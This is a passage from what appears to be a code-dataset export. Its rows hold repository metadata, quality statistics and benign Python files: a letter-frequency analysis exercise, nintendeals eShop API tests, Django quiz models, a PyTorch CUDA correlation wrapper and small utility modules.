| 7.166667 | 19 | 0.581395 | 6 | 43 | 4.166667 | 0.5 | 0.64 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.302326 | 43 | 5 | 20 | 8.6 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0 | 0 | 0.333333 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
faf36a282c7e31a319bb3cb80b67cbc168e29c41 | 2,642 | py | Python | 6_Dictionaries/challenge_24_code.py | PacktPublishing/The-Art-of-Doing-Code-40-Challenging-Python-Programs-Today | c25f63884e5fd3a66660d48cda597b9eab4ffeac | [
"MIT"
] | 11 | 2021-01-06T13:55:04.000Z | 2022-01-06T21:57:00.000Z | 6_Dictionaries/challenge_24_code.py | PacktPublishing/The-Art-of-Doing-Code-40-Challenging-Python-Programs-Today | c25f63884e5fd3a66660d48cda597b9eab4ffeac | [
"MIT"
] | null | null | null | 6_Dictionaries/challenge_24_code.py | PacktPublishing/The-Art-of-Doing-Code-40-Challenging-Python-Programs-Today | c25f63884e5fd3a66660d48cda597b9eab4ffeac | [
"MIT"
] | 6 | 2021-01-07T02:24:54.000Z | 2021-12-30T15:08:51.000Z | #Dictionaries Challenge 24: Frequency Analysis App
from collections import Counter
print("Welcome to the Frequency Analysis App")
#List of elements to remove from all text for analysis
non_letters = ['1','2','3','4','5','6','7','8','9','0',' ', '.','?','!',',','"',"'",':',';','(',')','%','$','&','#','\n','\t']
#Information for the first key key_phrase_1
key_phrase_1 = input("Enter a word or phrase to count the occurrence of each letter: ").lower().strip()
#Removing all non letters from key_phrase_1
for non_letter in non_letters:
key_phrase_1 = key_phrase_1.replace(non_letter, '')
total_occurrences = len(key_phrase_1)
#Create a counter object to tally the number of each letter
letter_count = Counter(key_phrase_1)
#Determine the frequency analysis for the message
print("\nHere is the frequency analysis from key phrase 1: ")
print("\n\tLetter\t\tOccurrence\tPercentage")
for key, value in sorted(letter_count.items()):
percentage = 100*value/total_occurrences
percentage = round(percentage, 2)
print("\t" + key + "\t\t" + str(value) + "\t\t" + str(percentage) + "%")
#Make a list of letters from highest occurrence to lowest
ordered_letter_count = letter_count.most_common()
key_phrase_1_ordered_letters = []
for pair in ordered_letter_count:
key_phrase_1_ordered_letters.append(pair[0])
#Print the list
print("\nLetters ordered from highest occurrence to lowest: ")
for letter in key_phrase_1_ordered_letters:
print(letter, end='')
#Information for the second key key_phrase_2
key_phrase_2 = input("\n\nEnter a word or phrase to count the occurrence of each letter: ").lower().strip()
#Removing all non letters from key_phrase_2
for non_letter in non_letters:
key_phrase_2 = key_phrase_2.replace(non_letter, '')
total_occurrences = len(key_phrase_2)
#Create a counter object to tally the number of each letter
letter_count = Counter(key_phrase_2)
#Determine the frequency analysis for the message
print("\nHere is the frequency analysis from key phrase 2: ")
print("\n\tLetter\t\tOccurrence\tPercentage")
for key, value in sorted(letter_count.items()):
percentage = 100*value/total_occurrences
percentage = round(percentage, 2)
print("\t" + key + "\t\t" + str(value) + "\t\t" + str(percentage) + "%")
#Make a list of letters from highest occurrence to lowest
ordered_letter_count = letter_count.most_common()
key_phrase_2_ordered_letters = []
for pair in ordered_letter_count:
key_phrase_2_ordered_letters.append(pair[0])
#Print the list
print("\nLetters ordered from highest occurrence to lowest: ")
for letter in key_phrase_2_ordered_letters:
print(letter, end='')
| 37.742857 | 126 | 0.736563 | 404 | 2,642 | 4.621287 | 0.212871 | 0.106052 | 0.058918 | 0.049277 | 0.863417 | 0.830209 | 0.797001 | 0.797001 | 0.714515 | 0.714515 | 0 | 0.019298 | 0.137017 | 2,642 | 69 | 127 | 38.289855 | 0.799561 | 0.236185 | 0 | 0.512821 | 0 | 0 | 0.249501 | 0.035928 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.025641 | 0 | 0.025641 | 0.282051 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
faf8e840690ce6373d96de68d881565bf751b26b | 3,703 | py | Python | tests/test_noa/test_game_info.py | Pooroomoo/nintendeals | 993f4d159ff405ed82cd2bb023c7b75d921d0acb | [
"MIT"
] | 37 | 2020-04-30T13:48:02.000Z | 2022-03-09T04:55:54.000Z | tests/test_noa/test_game_info.py | Pooroomoo/nintendeals | 993f4d159ff405ed82cd2bb023c7b75d921d0acb | [
"MIT"
] | 4 | 2020-05-09T03:17:44.000Z | 2021-04-28T00:53:55.000Z | tests/test_noa/test_game_info.py | Pooroomoo/nintendeals | 993f4d159ff405ed82cd2bb023c7b75d921d0acb | [
"MIT"
] | 5 | 2020-07-22T06:42:27.000Z | 2022-02-07T22:35:57.000Z | from unittest import TestCase
from nintendeals import noa
from nintendeals.commons.enumerates import Features, Ratings, Regions, Platforms
class TestGameInfo(TestCase):
def test_game_info_non_existant(self):
game = noa.game_info(nsuid="60010000000000")
self.assertIsNone(game)
game = noa.game_info(slug="unknown")
self.assertIsNone(game)
game = noa.game_info()
self.assertIsNone(game)
def test_game_info_3ds(self):
game = noa.game_info(nsuid="50010000023235")
self.assertEqual(game.platform, Platforms.NINTENDO_3DS)
self.assertEqual(game.region, Regions.NA)
self.assertEqual(game.title, "Super Smash Bros.")
self.assertEqual(game.nsuid, "50010000023235")
# self.assertEqual(game.unique_id, "AXC") TODO
self.assertEqual(game.slug, "super-smash-bros-for-nintendo-3ds")
self.assertEqual(game.players, 4)
self.assertFalse(game.free_to_play)
self.assertEqual(game.rating, (Ratings.ESRB, "Everyone 10+"))
self.assertEqual(game.release_date.year, 2014)
self.assertEqual(game.release_date.month, 10)
self.assertEqual(game.release_date.day, 3)
self.assertIn("Nintendo", game.publishers)
self.assertEqual(game.features.get(Features.DEMO), True)
self.assertEqual(game.eshop.ca_en, "https://www.nintendo.com/en_CA/games/detail/super-smash-bros-for-nintendo-3ds")
def test_game_info_switch(self):
game = noa.game_info(slug="super-smash-bros-ultimate-switch")
self.assertEqual(game.platform, Platforms.NINTENDO_SWITCH)
self.assertEqual(game.region, Regions.NA)
self.assertEqual(game.title, "Super Smash Bros.™ Ultimate")
self.assertEqual(game.nsuid, "70010000012332")
# self.assertEqual(game.unique_id, "AAAB") TODO
self.assertEqual(game.slug, "super-smash-bros-ultimate-switch")
self.assertEqual(game.players, 8)
self.assertFalse(game.free_to_play)
self.assertEqual(game.rating, (Ratings.ESRB, "Everyone 10+"))
self.assertEqual(game.release_date.year, 2018)
self.assertEqual(game.release_date.month, 12)
self.assertEqual(game.release_date.day, 7)
self.assertIn("Nintendo", game.publishers)
self.assertEqual(game.features.get(Features.DEMO), False)
self.assertEqual(game.features.get(Features.DLC), True)
self.assertEqual(game.features.get(Features.NSO_REQUIRED), True)
self.assertEqual(game.features.get(Features.SAVE_DATA_CLOUD), True)
self.assertEqual(game.eshop.ca_fr, "https://www.nintendo.com/fr_CA/games/detail/super-smash-bros-ultimate-switch")
def test_game_info_wiiu(self):
game = noa.game_info(nsuid="20010000007686")
self.assertEqual(game.platform, Platforms.NINTENDO_WIIU)
self.assertEqual(game.region, Regions.NA)
self.assertEqual(game.title, "Super Smash Bros.")
self.assertEqual(game.nsuid, "20010000007686")
# self.assertEqual(game.unique_id, "AXF") TODO
self.assertEqual(game.slug, "super-smash-bros-for-wii-u")
self.assertEqual(game.players, 8)
self.assertFalse(game.free_to_play)
self.assertEqual(game.rating, (Ratings.ESRB, "Everyone 10+"))
self.assertEqual(game.release_date.year, 2014)
self.assertEqual(game.release_date.month, 11)
self.assertEqual(game.release_date.day, 21)
self.assertIn("Nintendo", game.publishers)
self.assertEqual(game.features.get(Features.DEMO), False)
self.assertEqual(game.eshop.us_en, "https://www.nintendo.com/en_US/games/detail/super-smash-bros-for-wii-u")
| 37.40404 | 123 | 0.693222 | 464 | 3,703 | 5.431034 | 0.209052 | 0.25 | 0.316667 | 0.092857 | 0.834921 | 0.757143 | 0.534524 | 0.473413 | 0.464286 | 0.396429 | 0 | 0.039183 | 0.179854 | 3,703 | 98 | 124 | 37.785714 | 0.789924 | 0.037267 | 0 | 0.370968 | 0 | 0.048387 | 0.156698 | 0.034541 | 0 | 0 | 0 | 0.010204 | 0.774194 | 1 | 0.064516 | false | 0 | 0.048387 | 0 | 0.129032 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
87a6470974c74cade74a45a431e262d5a22760b9 | 27 | py | Python | flights/__init__.py | nabakirov/flight_prices | 356e53ff01dc4933de39c406e4fb7e8e36a0423e | [
"MIT"
] | null | null | null | flights/__init__.py | nabakirov/flight_prices | 356e53ff01dc4933de39c406e4fb7e8e36a0423e | [
"MIT"
] | null | null | null | flights/__init__.py | nabakirov/flight_prices | 356e53ff01dc4933de39c406e4fb7e8e36a0423e | [
"MIT"
] | null | null | null | from . import tasks, views
| 13.5 | 26 | 0.740741 | 4 | 27 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.185185 | 27 | 1 | 27 | 27 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
87c96b833c32f9879d5d058c331364f12d105119 | 35 | py | Python | classifier/collaters/__init__.py | JRC1995/Continuous-RvNN | b33bdbd2f80119dc0fa3ed6d44865a3d45bc1e81 | [
"MIT"
] | 9 | 2021-06-08T13:29:26.000Z | 2022-03-29T17:29:46.000Z | classifier/collaters/__init__.py | JRC1995/Continuous-RvNN | b33bdbd2f80119dc0fa3ed6d44865a3d45bc1e81 | [
"MIT"
] | null | null | null | classifier/collaters/__init__.py | JRC1995/Continuous-RvNN | b33bdbd2f80119dc0fa3ed6d44865a3d45bc1e81 | [
"MIT"
] | null | null | null | from .Classifier_collater import *
| 17.5 | 34 | 0.828571 | 4 | 35 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.903226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
87eb55ff41364df3cfc0737025c503d01a01802d | 77 | py | Python | proto_3/ddq/topics/logics/fol/quantifier.py | jadnohra/connect | 8eb21e6f122898094447bc3d5edb3053d5a2adf2 | [
"Unlicense"
] | null | null | null | proto_3/ddq/topics/logics/fol/quantifier.py | jadnohra/connect | 8eb21e6f122898094447bc3d5edb3053d5a2adf2 | [
"Unlicense"
] | 6 | 2021-03-19T12:06:56.000Z | 2022-03-12T00:23:09.000Z | proto_3/ddq/topics/logics/fol/quantifier.py | jadnohra/connect | 8eb21e6f122898094447bc3d5edb3053d5a2adf2 | [
"Unlicense"
] | null | null | null | from ddq.topics.logics.logic import Node
class Quantifier(Node):
pass
| 11 | 40 | 0.74026 | 11 | 77 | 5.181818 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 77 | 6 | 41 | 12.833333 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
3553ec4c70c0fb08a7ca116c54c5219840de4732 | 22 | py | Python | error/module.py | codelegant/python-action | 6da939faa3a235d595825d442f72825b7849c393 | [
"MIT"
] | null | null | null | error/module.py | codelegant/python-action | 6da939faa3a235d595825d442f72825b7849c393 | [
"MIT"
] | null | null | null | error/module.py | codelegant/python-action | 6da939faa3a235d595825d442f72825b7849c393 | [
"MIT"
] | null | null | null | import fib
fib.fib(23) | 11 | 11 | 0.772727 | 5 | 22 | 3.4 | 0.6 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0.090909 | 22 | 2 | 11 | 11 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
3561c00cf07dfa1d6c115b46e087253745853372 | 87 | py | Python | app/main/__init__.py | josphat-otieno/blog-post | f331104ccd818147abfca0a8bb6852f3a2f0771c | [
"MIT"
] | null | null | null | app/main/__init__.py | josphat-otieno/blog-post | f331104ccd818147abfca0a8bb6852f3a2f0771c | [
"MIT"
] | null | null | null | app/main/__init__.py | josphat-otieno/blog-post | f331104ccd818147abfca0a8bb6852f3a2f0771c | [
"MIT"
] | null | null | null | from flask import Blueprint
main=Blueprint('main', __name__)
from .import views, forms | 21.75 | 32 | 0.793103 | 12 | 87 | 5.416667 | 0.666667 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114943 | 87 | 4 | 33 | 21.75 | 0.844156 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
3567d07266048188b0d0aef39c5805d3594bab73 | 104 | py | Python | app/bot/__init__.py | NarayanAdithya/Portfolio2.0 | 691acbac1ad4220cb67c5e07a80bd401421f00d3 | [
"MIT"
] | null | null | null | app/bot/__init__.py | NarayanAdithya/Portfolio2.0 | 691acbac1ad4220cb67c5e07a80bd401421f00d3 | [
"MIT"
] | null | null | null | app/bot/__init__.py | NarayanAdithya/Portfolio2.0 | 691acbac1ad4220cb67c5e07a80bd401421f00d3 | [
"MIT"
] | null | null | null | from flask import Blueprint
bot = Blueprint('bot', __name__)
from . import models, events, routes
| 13 | 38 | 0.721154 | 13 | 104 | 5.461538 | 0.692308 | 0.338028 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 104 | 7 | 39 | 14.857143 | 0.845238 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
35a30c20a97ef18cfda0eb8e70d9c6497692b84e | 7,126 | py | Python | apps/quiz/models.py | diegocostacmp/e-quest | 543d1bea571851a9fe2292363125a8b60105b253 | [
"MIT"
] | 1 | 2021-04-16T15:15:32.000Z | 2021-04-16T15:15:32.000Z | apps/quiz/models.py | diegocostacmp/e-quest | 543d1bea571851a9fe2292363125a8b60105b253 | [
"MIT"
] | 9 | 2020-02-12T02:52:08.000Z | 2021-06-10T22:18:06.000Z | apps/quiz/models.py | diegocostacmp/e-quest | 543d1bea571851a9fe2292363125a8b60105b253 | [
"MIT"
] | null | null | null | from django.db import models
import uuid
from django.core.validators import MinValueValidator, MinLengthValidator
from django.db import models
from django.urls import reverse
from django.utils.safestring import mark_safe
from apps.core.models import (
User, Discipline
)
# Status choices
STATUS_CHOICES = (
("A", "Ativo"),
("B", "Bloqueado"),
("D", "Desativado")
)
class Quiz(models.Model):
title = models.CharField(verbose_name="Título", max_length=128, help_text="Digite o nome da Discipline", null=False, blank=False, default=None)
description = models.CharField(verbose_name="Descrição", max_length=512, help_text="Digite a descrição da Discipline", null=True, blank=True, default=None)
uuid = models.UUIDField(verbose_name='Identificador Único', default=uuid.uuid4, editable=False)
date_create = models.DateTimeField(verbose_name="Data criação", auto_now_add=True, blank=True, null=True)
date_edit = models.DateTimeField(verbose_name="Data alteração", auto_now_add=True, blank=True, null=True)
status = models.CharField(choices=STATUS_CHOICES, max_length=15, default="A")
# fks
discipline = models.ForeignKey(Discipline, verbose_name="Discipline", on_delete=models.PROTECT)
user_create = models.ForeignKey(User, editable=False, related_name="+", on_delete=models.CASCADE)
def __str__(self):
return str(self.pk)
def get_professor(self):
return self.teacher.full_name
def get_discipline(self):
return self.discipline.title
def get_status(self):
if self.status == 'A':
return mark_safe('<span style="width: 100%;"><span class="kt-badge kt-badge--success kt-badge--dot"></span> <span class="kt-font-bold kt-font-success">Ativo</span></span>')
elif self.status == 'B':
return mark_safe('<span style="width: 123px;"><span class="kt-badge kt-badge--danger kt-badge--dot"></span> <span class="kt-font-bold kt-font-danger">Bloqueado</span></span>')
else:
return mark_safe('<span style="width: 123px;"><span class="kt-badge kt-badge--warning kt-badge--dot"></span> <span class="kt-font-bold kt-font-warnings">Desativado</span></span>')
class Question(models.Model):
title = models.CharField(verbose_name="Título", max_length=512, help_text="Digite o nome da Discipline", null=False, blank=False, default=None)
description = models.CharField(verbose_name="Descrição", max_length=1024, help_text="Digite a descrição da Discipline", null=True, blank=True, default=None)
uuid = models.UUIDField(verbose_name='Identificador Único', default=uuid.uuid4, editable=False)
date_create = models.DateTimeField(verbose_name="Data criação", auto_now_add=True, blank=True, null=True)
date_edit = models.DateTimeField(verbose_name="Data alteração", auto_now_add=True, blank=True, null=True)
status = models.CharField(choices=STATUS_CHOICES, max_length=15, default="A")
# fks
quiz = models.ForeignKey(Quiz, verbose_name="Quiz", on_delete=models.PROTECT)
user_create = models.ForeignKey(User, editable=False, related_name="+", on_delete=models.CASCADE)
last_id = models.CharField(verbose_name="Proximo", max_length=10, blank=True, null=True, default=None)
time_solution = models.CharField(max_length=16, verbose_name="Tempo de solução", help_text = ("Tempo para resolver a questão"), blank=False, null=False, default=None)
def __str__(self):
return str(self.pk)
def get_status(self):
if self.status == 'A':
return mark_safe('<span style="width: 100%;"><span class="kt-badge kt-badge--success kt-badge--dot"></span> <span class="kt-font-bold kt-font-success">Ativo</span></span>')
elif self.status == 'B':
return mark_safe('<span style="width: 123px;"><span class="kt-badge kt-badge--danger kt-badge--dot"></span> <span class="kt-font-bold kt-font-danger">Bloqueado</span></span>')
else:
return mark_safe('<span style="width: 123px;"><span class="kt-badge kt-badge--warning kt-badge--dot"></span> <span class="kt-font-bold kt-font-warnings">Desativado</span></span>')
class Answer(models.Model):
uuid = models.UUIDField(verbose_name='Identificador Único', default=uuid.uuid4, editable=False)
date_create = models.DateTimeField(verbose_name="Data criação", auto_now_add=True, blank=True, null=True)
date_edit = models.DateTimeField(verbose_name="Data alteração", auto_now_add=True, blank=True, null=True)
status = models.CharField(choices=STATUS_CHOICES, max_length=15, default="A")
user_create = models.ForeignKey(User, editable=False, related_name="+", on_delete=models.CASCADE, default=None)
# Anwers
alternative_A = models.CharField(max_length=512, verbose_name="Alternativa A", blank=False, null=False, default=None)
alternative_B = models.CharField(max_length=512, verbose_name="Alternativa B", blank=False, null=False, default=None)
alternative_C = models.CharField(max_length=512, verbose_name="Alternativa C", blank=False, null=False, default=None)
alternative_D = models.CharField(max_length=512, verbose_name="Alternativa D", blank=False, null=False, default=None)
alternative_true = models.CharField(max_length=16, verbose_name="Alternativa correta", blank=False, null=False)
question = models.OneToOneField(Question, editable=False, related_name="question_related", on_delete=models.CASCADE)
# Recompensas
class reward(models.Model):
uuid = models.UUIDField(verbose_name='Identificador Único', default=uuid.uuid4, editable=False)
date_create = models.DateTimeField(verbose_name="Data criação", auto_now_add=True, blank=True, null=True)
description = models.CharField(verbose_name="Descrição", max_length=1024, help_text="Digite a descrição da Discipline", null=True, blank=True, default=None)
points = models.CharField(verbose_name="Pontos", max_length=5, help_text="Pontos ganhos", null=True, blank=True, default='0')
# fks
user = models.ForeignKey(User, editable=False, related_name="+", on_delete=models.CASCADE)
discipline = models.ForeignKey(Discipline, editable=False, related_name="+", on_delete=models.CASCADE)
def __str__(self):
return str(self.pk)
def get_nome_disciplina(self):
return self.discipline.title
# Recompensas alunos
class reward_user(models.Model):
uuid = models.UUIDField(verbose_name='Identificador Único', default=uuid.uuid4, editable=False)
date_create = models.DateTimeField(verbose_name="Data criação", auto_now_add=True, blank=True, null=True)
# fks
user = models.ForeignKey(User, editable=False, related_name="+", on_delete=models.CASCADE)
reward = models.ForeignKey(reward, editable=False, related_name="+", on_delete=models.CASCADE)
def __str__(self):
return str(self.pk)
def get_nome_disciplina(self):
return self.reward.title | 57.934959 | 197 | 0.708953 | 945 | 7,126 | 5.196825 | 0.141799 | 0.062716 | 0.031765 | 0.031155 | 0.813684 | 0.790063 | 0.782733 | 0.73427 | 0.69436 | 0.689269 | 0 | 0.010978 | 0.156329 | 7,126 | 123 | 198 | 57.934959 | 0.805888 | 0.009543 | 0 | 0.568182 | 0 | 0.068182 | 0.22156 | 0.061277 | 0 | 0 | 0 | 0 | 0 | 1 | 0.113636 | false | 0 | 0.079545 | 0.090909 | 0.852273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
ea0808f5e42c63412102de70e8542d9b396c2869 | 3,299 | py | Python | Correlation/CorrelationCUDA/Corr2D.py | weurus/pointcloudexperiment-Tutorial | d457c6d17203df4b752fe0c6f1ad3ae5baa82693 | [
"BSD-3-Clause"
] | 12 | 2020-08-27T19:50:53.000Z | 2022-01-25T23:13:47.000Z | Correlation/CorrelationCUDA/Corr2D.py | weurus/pointcloudexperiment-Tutorial | d457c6d17203df4b752fe0c6f1ad3ae5baa82693 | [
"BSD-3-Clause"
] | 1 | 2022-02-24T06:54:32.000Z | 2022-02-24T07:52:43.000Z | Correlation/CorrelationCUDA/Corr2D.py | weurus/pointcloudexperiment-Tutorial | d457c6d17203df4b752fe0c6f1ad3ae5baa82693 | [
"BSD-3-Clause"
] | 2 | 2020-12-31T02:35:58.000Z | 2021-08-14T23:05:19.000Z | import torch
import Corr2D_ext
def int_2_tensor(intList):
return torch.tensor(intList, dtype=torch.int, requires_grad=False)
def tensor_2_int(t):
assert len(t.size()) == 1
assert t.size()[0] == 5
assert t.dtype == torch.int
return t.tolist()
class Corr2DF(torch.autograd.Function):
@staticmethod
def forward(ctx, x0, x1, maxDisplacement, \
padding=1, kernelSize=3, strideK=1, strideD=1):
ctx.maxDisplacement = maxDisplacement
ctx.padding = padding
ctx.kernelSize = kernelSize
ctx.strideK = strideK
ctx.strideD = strideD
out = Corr2D_ext.forward(x0, x1, padding, kernelSize, maxDisplacement, strideK, strideD)
ctx.save_for_backward(x0, x1)
return out[0]
@staticmethod
def backward(ctx, grad):
x0, x1 = ctx.saved_tensors
output = Corr2D_ext.backward( grad, x0, x1,
ctx.padding, ctx.kernelSize, ctx.maxDisplacement, ctx.strideK, ctx.strideD )
return output[0], output[1], None, None, None, None, None
class Corr2DM(torch.nn.Module):
def __init__(self, maxDisplacement, padding=1, kernelSize=3, strideK=1, strideD=1):
super(Corr2DM, self).__init__()
assert maxDisplacement > 0
assert kernelSize > 0
assert kernelSize % 2 == 1
assert strideK > 0
assert strideD > 0
self.maxDisplacement = maxDisplacement
self.padding = padding
self.kernelSize = kernelSize
self.strideK = strideK
self.strideD = strideD
def forward(self, x0, x1):
return Corr2DF.apply( x0, x1, self.maxDisplacement, \
self.padding, self.kernelSize, self.strideK, self.strideD )
class Corr2DZNF(torch.autograd.Function):
@staticmethod
def forward(ctx, x0, x1, maxDisplacement, \
padding=1, kernelSize=3, strideK=1, strideD=1):
ctx.maxDisplacement = maxDisplacement
ctx.padding = padding
ctx.kernelSize = kernelSize
ctx.strideK = strideK
ctx.strideD = strideD
out = Corr2D_ext.forward_zn(x0, x1, padding, kernelSize, maxDisplacement, strideK, strideD)
ctx.save_for_backward(x0, x1, out[0], out[1], out[2])
return out[0]
@staticmethod
def backward(ctx, grad):
x0, x1, C, L0, L1 = ctx.saved_tensors
output = Corr2D_ext.backward_zn( grad, x0, x1, C, L0, L1,
ctx.padding, ctx.kernelSize, ctx.maxDisplacement, ctx.strideK, ctx.strideD )
return output[0], output[1], None, None, None, None, None
class Corr2DZNM(torch.nn.Module):
def __init__(self, maxDisplacement, padding=1, kernelSize=3, strideK=1, strideD=1):
super(Corr2DZNM, self).__init__()
assert maxDisplacement > 0
assert kernelSize > 0
assert kernelSize % 2 == 1
assert strideK > 0
assert strideD > 0
self.maxDisplacement = maxDisplacement
self.padding = padding
self.kernelSize = kernelSize
self.strideK = strideK
self.strideD = strideD
def forward(self, x0, x1):
return Corr2DZNF.apply( x0, x1, self.maxDisplacement, \
self.padding, self.kernelSize, self.strideK, self.strideD )
| 31.122642 | 99 | 0.625341 | 385 | 3,299 | 5.27013 | 0.150649 | 0.0276 | 0.035485 | 0.065057 | 0.865451 | 0.865451 | 0.865451 | 0.819123 | 0.819123 | 0.819123 | 0 | 0.036326 | 0.274022 | 3,299 | 105 | 100 | 31.419048 | 0.810856 | 0 | 0 | 0.675325 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168831 | 1 | 0.12987 | false | 0 | 0.025974 | 0.038961 | 0.311688 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ea6d2f5892cdb9f51ac9fd90f761b895d5ab55e3 | 336 | py | Python | getnet/services/token/card_token.py | rafagonc/getnet-py | d2a5278b497408b5245d5d0fecd2e424f4ddb0d5 | [
"MIT"
] | null | null | null | getnet/services/token/card_token.py | rafagonc/getnet-py | d2a5278b497408b5245d5d0fecd2e424f4ddb0d5 | [
"MIT"
] | null | null | null | getnet/services/token/card_token.py | rafagonc/getnet-py | d2a5278b497408b5245d5d0fecd2e424f4ddb0d5 | [
"MIT"
] | null | null | null | class CardToken:
number_token: str
def __init__(self, number_token: str):
self.number_token = number_token
def __str__(self):
return str(self.number_token)
def __eq__(self, other):
match = other.number_token if isinstance(other, CardToken) else other
return self.number_token == match
| 25.846154 | 77 | 0.678571 | 43 | 336 | 4.860465 | 0.348837 | 0.368421 | 0.287081 | 0.172249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.241071 | 336 | 12 | 78 | 28 | 0.819608 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.111111 | 0.777778 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
ea6f027ef4532aa6d3ff800e1c7581991fa3caa2 | 45,758 | py | Python | e2e/cli/buckets/cp/test_cp_with_folders.py | msleprosy/cloud-pipeline | bccc2b196fad982380efc37a1c3785098bec6c85 | [
"Apache-2.0"
